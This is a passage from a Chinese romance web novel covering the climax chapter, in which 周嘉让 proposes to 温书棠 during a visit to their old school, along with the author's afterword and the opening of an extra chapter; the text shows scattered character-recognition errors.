温书棠怔了好半天都没回过神来,半启的嘴唇稍稍嚅动:“是今天就要出发吗?" 陈言之嗯了下:“晚上六点的飞机。” “那你.….以后还会回来吗?" 陈言之浅浅勾唇:“也许吧,暂时还没法确定。" 离别来得太突然,温书棠一时不知道该说什么好,眼睫频眨,她用指尖掐住掌心,挤出一个还算明媚的笑:“学长,谢谢你这些年对我的照顾和帮助。 “祝你在巴黎一切顺利。" 陈言之下意识想去揉她头发,手伸到一半又觉出不妥,落感袭遍全身,他笑得不见破绽:“你也是。" 说完告别的话,在即将擦肩的霎那,陈言之还是没忍住去叫她。 “书棠。 发尾扬起,温书棠回眸:“学长?" 视线扫过她的戒指,他佯装轻松地送上祝福:“恭喜你,如愿以偿。"五月,温书棠收到一个从漓江发来的包裹。本以为是谢欢意寄来的东西,拆开后里面却装着一枚信封,素纹卡片上用烫金字体写着亲爱的校友:岁月流转,弦歌不辍。历经风雨兼程,母校即将迎来九十九周年华诞。在此,我们怀着无比激动与喜悦的心情,诚邀您重返校园,与我们共襄盛典,同谱华章。下面附着活动的具体时间和地点。温书棠仔细算了算,前几天她都在加班,刚好能腾出一周休假。”你呢阿让?”她把邀请函拿给他看,“你最近会很忙吗?"周嘉让把她抱到腿上,顺势亲了亲她的手腕:“不忙。”“陪你回去。距离起飞还有一小时,两人并肩坐在候机厅里,外面晚霞烧得正浓,铺天盖地的紫红色,仿佛失于打翻的葡萄酒酿,稀薄云层连绵其间,光屑簌簌,偶有鸟雀掠过温书棠拍了些照片,回身想给周嘉让看,却见他半阖着眼,额发松散,整个人被笼罩在光晕里,衬得五官更为立体分明。她悄悄打开相机,调整好取景框,刚打算按下拍摄周嘉让懒散撩起眼,好整以暇地看着她:“女朋友,偷拍我啊。温书棠别过头,蹭蹭鼻尖,心虚地否认:“才没有。“我人都是你的了,干嘛不大大方方拍。"“再说了,光拍我多没意思啊。”手臂环住她的腰,周嘉让把人箍回身边,将摄像头换成前置,“一起拍。这些年来,他们俩的合照并不多,除去运动会上阴差阳错的那张,就只有她十七岁生日时拍的。周嘉让举起手机,食指戳在她梨涡上:“笑一笑啊宝贝。”温书棠提唇,露出一个软软的笑。咔嚓 快门定格。 温书棠接过来回看,眉心微皱,闷闷地鼓起腮帮:“你怎么不看镜头?" “看镜头干嘛。”周嘉让理直气壮地问,“镜头又没你好看。 温书棠: 和京北不同,漓江俨然已经入夏。 梧桐树枝繁叶茂,蝉鸣声懒倦贯耳 他们去了延龄巷的家,青灰色的矮楼前,路牌上的68号有些褪色 脚步停在门外,温书棠想到曾经很多次,自己就站在这里,想敲门却没有勇气。 推开门,按亮墙壁上的灯,暖黄色光线柔柔洒下,这么空了七八年,屋内倒没有想象中的杂乱. 时间不早了,周嘉让简单收拾过房间,两个人相拥着睡下。 隔天,他有个研讨会要参加,温书常很懂事地没掺和,独自出门到街上闲逛。 不知不觉走到椿茗寺,两侧樱花差不多都落完了,只留树影在风中婆娑。 温书棠买了门票,从石梯上的入口进去。 年复一年,寺内似乎没什么改变,虔诚祈福的香客,穿着青衫的僧人,还有庭院中打盹的橘猫. 钟声悠扬,温书棠上过香后,忽然想去那颗古树前看看。 那年他们曾在树前许下心愿,约好来年一起过来还愿,周嘉让离开后,她也没有只身来过。 随着人群走到顶端,站在熟悉的庭院里,古树依然肃静地伫立在东南角, 温书棠走过去,本想找找当年她写过的布条,但却被一位僧人拦住去路。 他什么都没说,却像认识温书棠一样,径直指引她走到另一侧,弯腰行过问讯礼后,又沉默地转身离开 温书棠看得一头雾水,干脆仰起头继续寻找布条。 被风扬起的红色里,她捕捉到一抹熟悉的笔迹。 踮脚拿下来,果然是那时周嘉让挂上去的,道劲有力的写着:愿恬恬岁岁平安。 温书棠愣了愣。 他当时不是说替外公祈福吗? 她抬头接着寻找,没过多久,又一次发现了周嘉让的字体。 这次上面写的是:愿她体魄康泰,疾患不来。 温书棠彻底僵住。 为什么周嘉让会挂两条祈福带。 想起方才僧人的奇怪举动,心中隐隐生出某种念头,她不敢置信地看向古树。 “愿她心宽愁散,喜乐相伴。 “愿她梦想得偿,星辰裴光。 “愿她诸事皆宜,心畅无恙。 温书棠一共找到九条祈福带。 除去他们一起来的那次。 际云他们一起来叫那次。 分开八年。 周嘉让为她求了八年的福签。 93、求婚, 会议结束是在晚上八点。 周嘉让从展厅里出来,几个熟识的同行叫住他,问他要不要一起吃个晚饭。 “抱歉,恐怕不太方便。”他拿着西装外套,身形挺直,勾着唇婉拒,“家里有人在等。 想起那张乖软面孔,漆黑眼瞳中漾出一抹别样的柔和。 话外音太明显,大家很快明白了他的意思,理解地笑笑,没多勉强:“那是得抓紧回去。" 周嘉让颔首:“下次有机会再聚。” 道别过后,他脚步更快了点,从口袋里拿出手机,摁亮屏幕,发现心心念念的那个人仍然没有回复消息, 这都三个多小时了。 是睡着了吗? 可今早他们起得很晚,她又不是贪睡的人, 难道出什么事了? 眼帘低垂,眉头逐渐拢紧, 周嘉让在想要不要给她打个电话。 也就在这时,屏幕上弹出那个熟悉的备注。 神经顿时松懈下来,滑动接通,那句宝贝还没叫出口,听筒里却冒出一道陌生的男声。 "你是?" 唇线绷紧, 周嘉让口气算不上好。 对方忙和他解释,说自己是HOPE酒吧的服务生。 “是这样的,我们快要打烊了,但这位小姐喝醉了没法走,看您是她的紧急联系人,麻烦您能来接她一下吗?" 喝醉了? 心脏猛然收缩,捏着于机的力度加大,手背上青筋绷起,周嘉让问了酒吧的具体位置,语速急切:“我马上就过去。 五分钟后。 街巷喧嚣,晚风中翻滚着闷燥,周嘉让推开酒吧门,高悬的风铃碰撞出一阵清脆声。 目光扫过,只见温书棠趴在右手边那张木桌上,眼睫低阖,白藕似的手臂曲着,乌黑的发散在肩后,只露出一个小巧的耳尖 面前东倒西歪地放着几个空酒瓶,打眼望去,度数都不低。 眼头蹙动,眉心拧出沟壑,他问一旁的服务生:“这些都是她自己喝的?还是有别人和她一起?" 服务生欠身回答:“都是这位小姐一人喝的。 周嘉让低嗯了声,示意自己知道了:“今晚麻烦你了,谢谢。” 等付过账单,他几步走到桌边,在她耳边轻声唤着:“恬恬、恬恬?"” 见她没有反应,他小心翼翼地把人扶起来,一只手揽在背后,另一只手穿过腿弯,打抱进自己怀里 感受到他的体温,指尖微动,温书棠迷迷糊糊睁开眼,脸颊被酒精醺得酡红,眸光也变得不人清明。 迟钝好几秒,她才努力睁大眼睛,似乎是认出他了,伸着脖子凑近,黏糊地拖长尾音:“阿让。” “真的是你吗?还是我在做梦啊?" 她皱着眉,伸手往他嘴角那戳了下。 周嘉让抱紧她,由着她不老实的动作,又被她这副不清醒的样子可爱到,在她唇边亲了亲,眼含笑意地问:“是梦吗? 她诚实地晃晃脑袋:“不是。 温书棠靠回他怀里,手指软软地扯上他衣领:“你就是我的阿让。" “是我又帅气,又优秀,又体贴的男朋友。 出了酒吧,车子还等在路边。 温书棠却莫名抗拒,委屈巴巴地瘪起嘴,眨巴着眼睛看他:“阿让,我不想坐这个。" 周嘉让拂开她额前碎发,指腹在她眼下蹭过:“那恬恬想怎么回去?" 温书棠打了个哈欠,眼眸里蓄起一汪湿润,看上去更加无辜:“我想让你背我。 没提过这种无理要求,她抿着唇,怕他觉得自己太作,移开眼神,语气一点点变弱:".可以嘛?" “这有什么不可以的呀。”周嘉让和她鼻尖相碰,言语间尽是宠溺,“女朋友最大,你想让我做什么都行。" 夜幕低垂,月色宁静。 树叶随风轻晃,摇曳出窸簌声响,昏黄街灯下,他们俩被暖调光晕笼罩着,地面上的身影也无限拉长 温书棠趴在周嘉让背上,双手环住他脖颈,小半张脸都埋在肩头里,声音也像闷进棉花团:“阿让。 “在呢。”周嘉让稍稍偏过头,“怎么啦宝贝?” 像初学说话的小朋友,她慢慢吞吞地问:“你怎么,会来,酒吧呀?" “还能干嘛?"周嘉让无奈笑笑,模仿着她这种稚气的声调,一顿一顿的,“当然是,来接,某个醉鬼,回家呀。 周嘉让愣了愣, 时没能理解 好端端的 “我是不是特别不省心啊。”温书棠吸了一记鼻子,吐息间的热气洒在他耳廓上,“从高中那时开始,就总是让你担心我,什么事都是你包容我。 “你辛辛苦苦在外面工作了一天,结束后还要跑过来接我回家。 掌心安抚地拍在腿侧,周嘉让否认她的胡思乱想:“哪有,一点都不辛苦,这不都是我应该做的吗。 他把人往上托了托,下颌蹭在她侧颊上:“我们家恬恬啊,全世界最好了。" “只不过下次再想喝酒的话,提前告诉我好不好?”他绕开前面的水洼,喉结上下滚了滚,“你一个人太不安全了。 可温书棠什么都没听进去,只是一遍又一遍地说着对不起。 察觉到她状态不对,周嘉让停了脚,带她到附近的长椅上坐下,屈膝蹲身,握着她的手,与她视线平齐。 “恬恬。”薄唇翕动,他眼中是藏不住的担忧,“到底怎么了啊?发生什么不开心的事了吗?和我说说好吗?" “没有不开心。”温书棠埋着头,眼圈发酸,牙齿咬在唇瓣上,“我就是觉得我亏欠你好多,对你做了许多不好的事。" 周嘉让不解:“怎么这么说?" “分开这些年,你给我写歌庆生,回漓江替我祈福,想尽办法默默关注着我。”酝酿已久的服泪,在这一刻开始往外掉,像斯了线的珠子,在地面上泅开深浅不一的印迹,她断断续续地抽噎, “可我却什么都没为你做过,反而还错怪你,对你说了那么多难听的话。 那次深夜街边,纷扰的车水马龙里,她一字一句,控诉是他先失约的。 但真正失约的人从来都不是他。 是她自己。 捕捉到那句关键的话,周嘉让坐到她身旁,把人抱起放在自己腿上,用拇指揉掉她眼尾的湿痕,捧着她的脸问:“下午去椿茗寺了?” 温书棠点点头。 “到上面去看那棵古树了?" 她还是点头。 “所以才一个人跑去喝闷酒?" "嗯。" 她从没想过周嘉让会这样做。 仰头站在古树下,悠扬钟声回荡在耳边,手中握着的九根祈福带,犹如打磨极致的锋刃,割开密空麻麻的淋漓血痕。 某些场景自动在眼前浮现,初春时节,料峭未褪,少年缓步登上石阶,在案桌前端正坐好,起笔停顿,字句皆是虔诚. 布条缠绕在指间,他抬起手,所有的牵挂与爱,只有掠过的风知道。 实在太难过了,白责和心疼似洪水般涌出,她找不到排解的方法,只好用酒精麻痹自己。 擦着她滚烫的泪,周嘉让心口也疼得难受,呼吸间尽是薄荷糖融化的灼烧感,他耐着性子哄:“恬恬不哭。 温书棠胡乱抹了把脸,不管不顾地环住他的腰,想和他紧紧贴着:“阿让,你好傻。 像一只淋雨的小猫钻进怀里,周嘉让一下又一下地拍着她的背:“我怎么傻了?" “干嘛大老远从国外回来,又于嘛只给我祈福。”她睫毛湿哒哒的,囔着鼻音,“一点都不替白己着想。 “因为这是我答应过你的约定啊。”周嘉让轻抚她的发,怎么亲密都嫌不够,“"而且你在京北无依无靠的,周围连个照顾你的人都没有,我怎么可能放心的下啊。 可他又没被办法时时保护在她身边。 所以只能用最迷信的方法,祈求各路神灵,护她无灾无难,平安周全。 “好啦。”他揉揉她哭花的脸,温柔的吻烙在额头上,“再怎么说,这些都是过去的事了,没什么好掉眼泪的。 "也不要再说亏欠这种话。”他扬起语调宽慰,“你也为我做过很多啊,前段时间的热搜,要是没有你,我都不知道该怎么解决呢。 "还有外公去世时,也是你寸步不离地陪着我。" "再往前算,十四岁那年秋天,要不是你及时把我救下来,我可能早就不在这个世界了。” 对上她澄澈的眼,周嘉让声线低沉,像融开冰面的春风:“爱本来就是相互的,我们之间不需要用亏欠这个词。 “明白了吗?" 安慰了好一会儿,温书棠的情绪终于平复下来。 这里离延龄巷不远,周嘉让背着她慢慢往家走。 酒劲儿还没过,温书棠有好多奇奇怪怪的想法,闻着他身上清凛舒服的味道,她小声问:“阿让,今天工作还顺利吗。" “都挺顺利的。”周嘉让和她讲了些会上的趣事,“你呢宝贝?除了椿茗寺,还去别的地方了吗?" 温书棠懵懵摇头:“没有。 “那有按时吃饭吗? “有的,去吃了李记的馄饨和汤包。" 月光清皎,他们俩就这么一问一答,从晚霞聊到星星,再到路边草从偶然寻见的小雏菊, “阿让。”温书棠把脑袋歪到另一侧,发丝凌乱垂着,“我是不是很重啊。 周嘉让存心逗她:“是啊。 胸腔里有细碎震动,他低低地笑起来:“我背着我最珍贵的宝贝,背着我的全世界,怎么可能不重呢。 等到了家,温书棠已经迷迷糊糊地睡着了。 帮她换好睡衣,周嘉让抱她回到床上,去厨房倒了杯温水,温言哄她喝醒酒药。 “张嘴宝贝,来喝一点。” “不喝的话,明天起来头会很痛。" 卸掉淡妆,用毛巾给她擦脸时,温书棠无意识拉住他的手,唇动着呓语:“阿让。” “我保证,会对你很好的。 “我会爱你很久很久的。" 久到把那些错过的,遗憾的全都补回来。 久到地老天荒。 翌日清晨,迎着熹光,两人回到漓江九中。 树影斑驳,薄雾缭绕,风中挟着淡淡的草木香,他们着手,并肩走在那条熟悉的石板路上。 拐角有卖梅花糕的小摊,周嘉让过去买了两个。 温书棠跟在后面,望着他颀长落拓的背影,望着他松散利落的短发,望着他T恤下摆被拂起,勾出一截蓬勃劲瘦的腰线。 恍然间,生出一种穿回过去的错觉。 那时他们还在九中读书,天光初醒,他拎着她的书包,不紧不慢地排队去买早饭。 学校年前新修了校门,理石校牌庄重气派,其间嵌着熠熠生辉的字,充气拱门上挂着横幅,各色旗帜在空中飘扬。 少男少女们身穿校服,笑容明媚洋溢,追逐打闹间,尽显花季的朝气与张扬,飞舞的裙摆与衣角,碰撞出青春里最浓墨重彩的篇章 脚步稍顿,温书棠晃晃周嘉让胳膊:“你还记得吗?我来九中报道那天,早上就是在这遇见的你。" “是啊。”周嘉让叹了口气,跟她一起回忆黑历史, “重逢第一面就让你撞见我被训话,还能再倒霉点吗。” 温书棠忍不住笑:“谁让你不听话穿校服的。 周嘉让替自己辩解:“就那么一次。 她故作惊讶:“真的假的?" 周嘉让凑过去亲她:“当然是真的。" “不过话说回来。”捏着她纤细的手指,周嘉让想起更多细节,“"当时看你一直低着头,浑身上下都绷着,跟碰见瘟神了似的。 他口吻听上去有些受伤:“我就在心里纳闷,我有那么可怕吗。 温书棠鼓腮纠正:“我那是紧张。 刚进校门,迎面便碰见了熟人。 这么多年过去,阎王爷仍是那标志的地中海发型,pol0衫配黑西裤,鼻梁架着副银框眼镜,稀疏的刘海倔强地向旁边偏分。 认出是他们,闫振平露出罕见的怔愣神情:"周嘉让?" 周嘉让走上前,唇角扬起,一如既往的懒散恣意:“闫主任,好久不见。 “臭小子。”闫振平一拳打在他胳膊上,横声数落道,“当年一声不吭就转学了,连个道别都没有,这些年也没个消息。 他平时看着严厉,动不动就吹胡子瞪眼地训人,实际却极为感性,关切地追问:“最后去哪个大学了啊?现在怎么样?" “都挺好的。”敛起不正经,周嘉让沉着嗓子交代,“本硕都在斯坦福读的,回国后在京北,公司主攻科技医疗领域。 眉宇舒展开来,闫振平松下一口气,话语中颇有骄傲的意味:“就知道你错不了。" 余光警见他和温书棠紧握在一起的手,闫振平更为感慨,眼角溢出笑纹:“兜兜转转,你们俩还是走到一块了啊。" “是啊。”周嘉让捏她手心,偏头冲她笑了笑,“我们还在一起。" “你啊你,上学时就整天惦记人家,又是替她出风头打架,又是陪她转去普通班的。"闫振平桩桩件件地讲起往事,“好不容易在一起了,可得对人家好点啊。" 周嘉让无比认真地应下:“我会的。" “书棠可是我们漓江的高考状元呢,附中那么多学霸,全是她的手下败将。"”语调一转,闫振平换成打趣的口吻,“这么漂亮又上进的小姑娘,被你小子哄到手啊 “就偷着乐吧。" 温书棠被说得不好意思,耳根红得像樱桃,手背贴了贴发烫的脸颊:“主任,您就别拿我开玩笑啦。 几人正寒暄着,身后飘来一道轻快的女声:“闫主任!" 别过身,只见谢欢意和许亦泽牵着手,正在朝他们这边走来。 毕竟都在漓江,他们见面的次数更多一点,闫振平笑着挥手:“你们俩也过来了啊。” 本想再多聊几句,另一个年级的主任叫他去笃学楼开会,闫振平只好抓紧交代重要的事:“书棠,今天刚好有高考动员大会,你去给学弟学妹们说几句吧? “不用太正式,随便分享些学习心得什么的。 温书棠点头说好。 “对了啊。”走出没几步,闫振平又折回来强调,“你们四个在学校里低调点啊,学弟学妹可都看着呢。 他猛地拔高嗓门:“别给我当反面教材,我们九中可严禁早恋!" 许亦泽呦了声,毫不留情地揭他老底:“主任。" “这话以后还是别说了。”他欠欠挑眉,怪腔怪调的,“您自己相信吗。 闫振平被气得瞪眼,四人一齐哄笑。 动员会在震旦楼的礼堂举行。 五月初夏,天朗气清,蝉鸣慵懒地绕在耳畔,谢欢意挽着温书棠的手: “棠棠,你今天好美哦。 周嘉让干咳一声,冷冷打断:“她有男朋友。 “所以。”他把人揽回自己身侧,“不需要别人帮忙拍照。 谢欢意习以为常地翻了个白眼,无情吐槽:“周嘉让,能不能把你这莫名其妙的占有欲收一收。 周嘉让我行我素:“不能。 拐进礼堂,顺着楼梯转上三楼,礼堂中已经坐满了学生, 上一人的演讲接近尾声,周嘉让微俯下身,捏了捏她的脸颊,喉间溢出散漫的笑:“温学姐,别紧张哦。" 温书棠不习惯这个称呼,皱鼻拍掉他的手:“谁是你学姐。 明亮的白炽灯下,她稳步走到台幕中央,穿一身干净的长裙,身姿挺秀,模样沉稳。 乌发乖顺垂在颊旁,露出恬淡柔和的五官,似立于风中的一截劲竹,安静却不失坚韧。 温书棠拿起话简,简单自我介绍:“大家好,我是16届的毕业生,温书。 虽然没有提前准备稿件,但她依然条理清晰、落落大方地分享了自己的学习经验,鼓励他们坚持到底,珍惜最后的校园时光. 从始至终,周嘉让的眼神都不曾移开过,看着那抹纤瘦的身影,恍惚问觉得,她好像没变,又好像变了。 不变的是她身上那股令人心安的温柔,褪去的是她年少时的自卑与怯懦。 等到自由提问环节,有个扎着低马尾,眼镜片厚重的女孩站起来,肩膀微扣,音量很低地问:"学姐,请问…你遇到过那种不自信,或者是坚持不下去的时候吗?" 温书棠弯起眼,答得干脆:“当然。 我高一时不在九中,是从一个很差的学校合并过来的。”她温声讲起自己的经历,“"那时我成绩并不好,费了好大力气才勉强考进英才班。" "到了英才班后,我和身边人的差距更大了,尤其是物理学科,有时都听不懂老师在讲些什么。" “几次成绩都不太理想,我陷入了深深的自我怀疑,我在想是不是自己真的太笨了,根本就不适合这种快节奏的学习氛围。 女生听得专注,感同身受地联想到自己当下所面临的种种困境。 停顿须臾,温书棠深吸一口气,唇角绽开的弧度更大:“但,后来有人告诉我,我其实一点都不笨,只是没发现自己的闪光点。 “他还告诉我,成绩,或者说其他荣誉,都只是人生中很小很小的一部分。 细软嗓音中夹杂着难以察觉的颤,说起这些时,温书棠脑海中全是那年秋天,昏暗逼仄的糖水店里,周嘉让耐心开导她的样子。 如果说,成长是一条披荆斩棘的路,那么他便是那个为她提灯的引路人 眼眶酿出些许酸涩,温书棠咽咽喉咙,迅速整理好心情:“前路漫漫,我们每个人都会痛苦,会崩溃,会产生无数个想要放弃的念头。 “但无论如何,请你都要有继续走下去的决心,更请你全力以赴地相信自己。”做不了月亮也没关系,哪怕是最平凡的星子,也会闪耀出属于他的光芒。” “学姐!”前排冒出一句好奇,“你刚刚到的那个人,应该对你很重要吧? "是呀。”她笑得温婉,看向不远处的男人,“特别重要。” 顺着她的日光,大家同样瞧见了他的身影,有眼尖的认出来,他就是前段时间闹上热搜的周嘉让。 随即又有人反应出什么,不可思议地惊呼:“学姐!原来你是那个My!" 温书棠没有否认:“是我。” 读过那篇长文的女生,彻底被点燃了八卦的兴趣,仗着教导主任不在,鼓起勇气问她:“既然这样的话,那学姐,你有什么暗恋成功的秘籍可以分享给我们吗? “这个呀。”温书棠仔细想了想,抬眸牵起嘴角,“我觉得大家只要坚定地做自己就好了。 “其余的呢,就交给缘分和爱吧。 “对的人,迟早会回到你身边的。 下台之前,她清清嗓子:“我还有最后几句话想要送给你们。” "当然,也送给那个对我最重要的人。 心跳怦怦开始加速,越过人潮和喧器,她和他的视线炽热相交。 好似时空交错,她眉眼带笑地说出那句话:"Je souhaite à tout le monde d''avoir un invincible été." “祝我们都能拥有一个不可战胜的夏天。” “谢谢大家。 掌声雷动,在一众欢呼呐喊里,温书棠从右侧台阶下来,一步一步朝着周嘉让走去。 而他也敞开双臂,眼中啥着不加掩饰的爱与赞赏,稳稳当当地将人接进怀中。 从礼堂里出来,谢欢意要去超市买饮料,温书棠和周嘉让则回了教学楼。 门厅西侧的墙壁上,贴着一张红底黄字的光荣榜,上面是历届优秀毕业生的照片, 作为九中难得一见的省状元,温书棠被安排在中间最醒目的那块。 历经风吹日晒,照片隐隐有了褪色的趋势,可她的面容却依旧清晰,秀气的眉,挺翘的鼻,一对杏眼清澈而纯净 温书棠意外地阔了眸:“不是说不会贴出来吗。 眸色晦暗,周嘉让抬手抚上边角:“这是什么时候拍的?" “拿到录取通知书那天。”温书棠捏着下巴回忆,“闫主任把我们前十名叫到办公室里,说要拍照留个纪念。 “明明答应我们不公开放出来的。”她弱弱吐槽。 那时她身体和心理都不太好,整天恹恹的没精神,面色惨白,体重也低得吓人,就像一朵即将枯萎的花 越看越觉得不满意,温书棠干脆伸手捂住:“别看啦,好丑。" “不丑。”周嘉让圈住她手腕,眼梢难耐地动了下,把人搂进怀里抱了抱,“宝贝,辛苦了。” 那些难熬的苦痛。 那些挣扎的蜕变。 都辛苦你了。 教室有人在上课,不方便进去,他们只能在走廊里转一转。 三楼连廊处,温书棠歪头靠在周嘉让肩膀上,望着窗明几净的教学楼: “阿让,你知道吗。 “还在七班的时候,我每天下课都跑到这里,装作不经意地往楼上看,想着会不会幸运地等到你路过。" “可是啊 她瘪着腮,闷闷泄出一口气:“从来都没遇见过。”知道为什么吗?" 周嘉让低笑一声,为她揭开谜底:“那是因为,我每天都绕远从另一边下来,装模做样地在你们班门口徘徊,直到上课才肯回班。" “还有啊,你记不记得刚开学那次,许亦泽拜托我来给你们送零食?" 温书棠点点头:“记得啊。" “我原本都不想答应他的。”周嘉让侧头亲她耳垂,“只是想用这个借口光明正大地见你。 “而且他就只让我给谢欢意送,你那份是我自己跑去商店买的,不知道你爱吃什么,犹犹豫豫选了好长时间。" 心窝像被泡进蜂蜜里,丝丝缕缕地渗出甘甜,温书棠和他求证另一件事:“那次你和我们班男生约球赛,输了后就请全班喝奶茶,又在我的袋子里放了雨伞和感冒药,难道也是故意的? 周嘉让刮她鼻尖:“不然呢。" “谢欢意没和你说过啊。”他轻哼一声,带着点小傲娇,“我最讨厌参加那种活动了。” 温书棠没说话,只是抵在他身上蹭了蹭。 摸着她柔软的发,周嘉让想到刚才看见的那张照片,说不出的感觉缭绕在心头,喉骨轻滚,他声线沙哑地问:“恬恬,高三过得累吗? 话题转变人突然,温书棠顿了几秒,然后才摇了摇头:“还好。 "高三嘛,总要吃点苦头,大家都是这么过来的。"”忙起来了,就没功大胡思乱想了。”她轻轻地咬住下唇,“而且,我想帮你守住第一的位置。 所以那一年,她拼了命地学习,整日把自己泡在书山题海中,恨不得将知识点直接刻在脑子里 温书棠眨了眨眼,长睫如蝴蝶羽翼般煽动:“现在想想,我是不是还挺幼稚的?" “怎么会?”周嘉让眼眶酸得厉害,头一次发觉自己言辞匮之,只能反反复复地说辛苦了。 正午时分,阳光灼烈,气温陡然攀升,他们牵手在校园各处散步。 通往操场的那条小路,两旁是参天的梧桐,叶片层层堆委,枝繁叶茂间,撑起一片沁人的荫凉。 温书棠正幼稚踩着脚下的人影,倏然听见他问:“恬恬,你听没听说过这样一句话?" “什么?”她下意识接话。 “在梧桐树下相遇的人,最终也会在梧桐树下迎来圆满。” 心中划过某种预感,温书棠愣愣看着他。 不出所料,下一秒,周嘉让走到她身前,单膝跪地,脊背挺得笔直,神情中满是紧张与忐忑。 拿出准备许久的丝绒盒子,里面装着一枚银戒,还有一张泛黄的纸条。 "恬恬。" 周嘉让仰起头,颌角凌厉绷紧,竭力克制着泌涌的情绪:“记得第一次遇见你那天,在街边的屋檐下,你告诉我,人的好运和厄运是守恒的。" “在我人生这二十多年里,留下过太多的痛苦与遗憾,大概上天也觉得我太苦了,所以才让你,出现在我的身边。 “这张纸条,是高二那次,妍姐让我们写下的计划清单。" 修长分明的指节,缓缓将纸条打开,只见道劲有力的笔迹,在最想做的事那里写道:和她求婚。 温书棠瞳孔猝然一震。 察觉到她的错愕,周嘉让勾唇笑笑:“我知道这听起来很荒谬,那个时候我们甚至没确定关系,连男女朋友都算不上。” “但,我确实萌生了想对你求婚的念头。" 尽管只有十七岁。 尽管仍是个轻狂放任的年纪。 他却想好要与她共度余生。 "恬恬。”话语问多了几分哽咽,周嘉让眼尾湿红,“谢谢你这么多年,给予我源源不断的爱与温暖。 "我用我的生命起誓,我爱你,我想永生永世和你在一起。" “那么你呢?" 他把纸条塞进她手心里,将尘埃落定的权利交给她:“你愿意帮我完成这个心愿吗? “恬恬,你愿意嫁给我吗?" 眼泪砸在手背上,晕开一面温热,温书棠觉得自己不能哭, 可就是没出息地收不住 她用力点点头,挤出一个算不上漂亮的笑容:“我愿意。 “阿让,我愿意的。" 她怎么会不愿意呢? 这可是她喜欢了十一年的男孩啊。 如同完成某种交接仪式,周嘉让拉起她的右手,将先前那枚戒指取下,又将这枚新的推到指根 十七岁的周嘉让弄丢了她,二十五岁的周嘉让找回了她。 钻石发出细碎的光芒,他低下头,落下一个无比真挚的吻。 “恬恬,我会永远爱你的。” 广播站放起那首经典的《可不可以》,他们俩走到操场上,两道声音从后方传来 "棠巢! “阿让! 谢欢意和许亦泽飞奔而至,亲昵勾住他们俩的肩膀, 瞥到无名指上的戒指,谢欢意大惊小怪地抬高音 “这什么情况?!" “你们俩!!”像炸了毛的猫,她瞪大眼睛控诉,“在一起就不告诉我,现在求婚还不告诉我! “太不够意思了!" 温书棠连忙给她顺气:“没没没,刚刚才求的。 “那更要告诉我了!”谢欢意一拍大腿,满脸惋惜,“我还没亲眼见证过求婚现场呢。” 周嘉让啧了声,一副混不吝的样儿:“我和恬恬求婚,你凑什么热闹?" “就是啊。”许亦泽接了茬,两人难得统一立场,“他求婚有什么好看的。” “再说了,在学校求多没意思啊。”他臭屁地打了个响指,“等我和你求婚时,绝对比这浪漫多了。 宛若被掐中命门,谢欢意瞬间变得磕巴:“谁、谁说要和你结婚了。“ 眉梢耷下,许亦泽有点郁闷地问:“不和我结,你还想和谁结?" “不好意思,打扰啦。 个胸前挂着相机的女生拦住他们,高马尾在脑后甩开,腼腆笑笑:“我是学生会新闻部门的,想为这次校庆的拍一些素材,不知道你们方便让我拍几张照片吗?" 几个人面面相觑着,谢欢意鼓起腮帮:“可我们不是在校生诶,都毕业好多年了。” “那也没关系的!”女孩连连摆手,热情邀请, “如果是学姐学长的话,那就更好啦! 主席台前,女孩把身后的书包拿下:“对啦,我这还有几套校服,你们要换上嘛?" “好诶!”谢欢意转转眼珠,扭头去看其他三人,“咱们连毕业合照都没有,正好今天补一张吧。 换好校服出来,他们并肩而站。 长臂绕肩,温书棠被周嘉让揽进怀里,谢欢意则踮起脚,搞怪地掐住许亦泽的脸。 对准取景框,女孩倒计时:“三、二、一 咔嚓。 快门按下,画面定格。 尤为应景的,歌词恰好放到那句 “爱上了你,没什么道理,只是刚好情窦初开遇见你。 时间仿佛被拉回2014年,没有分别,没有隔,他们还是那群意气风发的少年 四季轮回,岁月更迭。 爱与青春,永不停歇。 那些辗转反侧的少女心事,在这一刻画上了圆满的句点。 暗恋这场雨,终究等到雨停- 正文完 国,作者有话说 口显示所有文的作话 第93章 求婚 感谢小天使们的1个霸王票、127瓶营养液~ 今日雨水,暗恋雨停。 写这章时,明明都是圆满的结局,我却动不动就想流眼泪,大概这一路真的太不容易了。 鎮星没专注于击角,我觉得小分队在,起才是不即满的,走完这漫长的连裁期,直的直的很爱你们。 休息几天更新番外,顺便润色一下前文的细节,暂定的番外内容是阿让的暗恋部分,婚后日常,还有副cp,会把前文没写完的伏笔都写了,大家有想看的可以在评论区和微博告诉我 94、吃醋… 难得遇上休假,他们没急着走,在漓江多留了几天。 可惜天公不作美,那一整周都阴沉沉的,仿若笼罩在一块不透光的幕布下,雨水淅淅沥沥地敲在窗边。 温书棠不喜欢在雨天出门,不喜欢那种潮湿缠身的黏腻感,索性窝在家里,无聊时看看电影,再就是吃饭睡觉,像一只软趴趴的小猫。 这一觉睡得很沉,再睁开眼,已经是傍晚五点。 房间窗帘紧闭着,视线里漆黑一片,只有中央空调的显示屏上亮着一个小红灯。 从被子里伸出手,宽松袖口向下滑落,露出骨感纤瘦的腕,她打着哈欠,懒腰刚伸到一半,却被一道力气揽进怀中。懵懵偏过头,才发现周嘉让就在自己身边。 “嗯?”温书棠揉揉眼睛,言语间带着懒倦的惺忪,“你怎么在这呀?”她顺势翻了个身,面向他那边:“不是说有几个电话会议要开吗?” 周嘉让轻轻蹭着她的脸,把她睡乱的长发捋到耳后:“不是特别重要的事,很快就结束了。”温书棠哦了声,闻着他身上清凛的薄荷味,主动往他怀里钻了钻,脸颊贴在胸口那儿,说出来的话也闷在布料里:“那你就一直在这陪我啊。” “是啊。”周嘉让垂眸,凝着她头顶那个小小的发旋,心口软得不像话,“就在这替你守着。”温书棠咬住下唇,不知怎么就冒出担心,仰起脸,试探发问:“那我,我没说什么梦话吧?” 大概因为刚睡醒,她眼眸里噙着一层水汽,像朦胧的雾,也像清浅的溪。逗人心思腾起,周嘉让勾着唇,眉梢微挑:“还真说了。” 仿佛被踩到尾巴,温书棠噌一下睁大眼,紧张中透着几分戒备:“我说什么了?”“你啊——”周嘉让磨人地拖长尾音,停顿数秒才面不改色地往下,“你说,你特别特别爱我。” 指节一圈圈缠上她的发,他眼瞳中是不加掩饰的得意:“说你全世界最喜欢我。” 温书棠:……" 什么啊。 她才不相信这是她说的。 这人又在逗她。 腮帮鼓起,她拧着眉,佯装很凶地把他拍开。 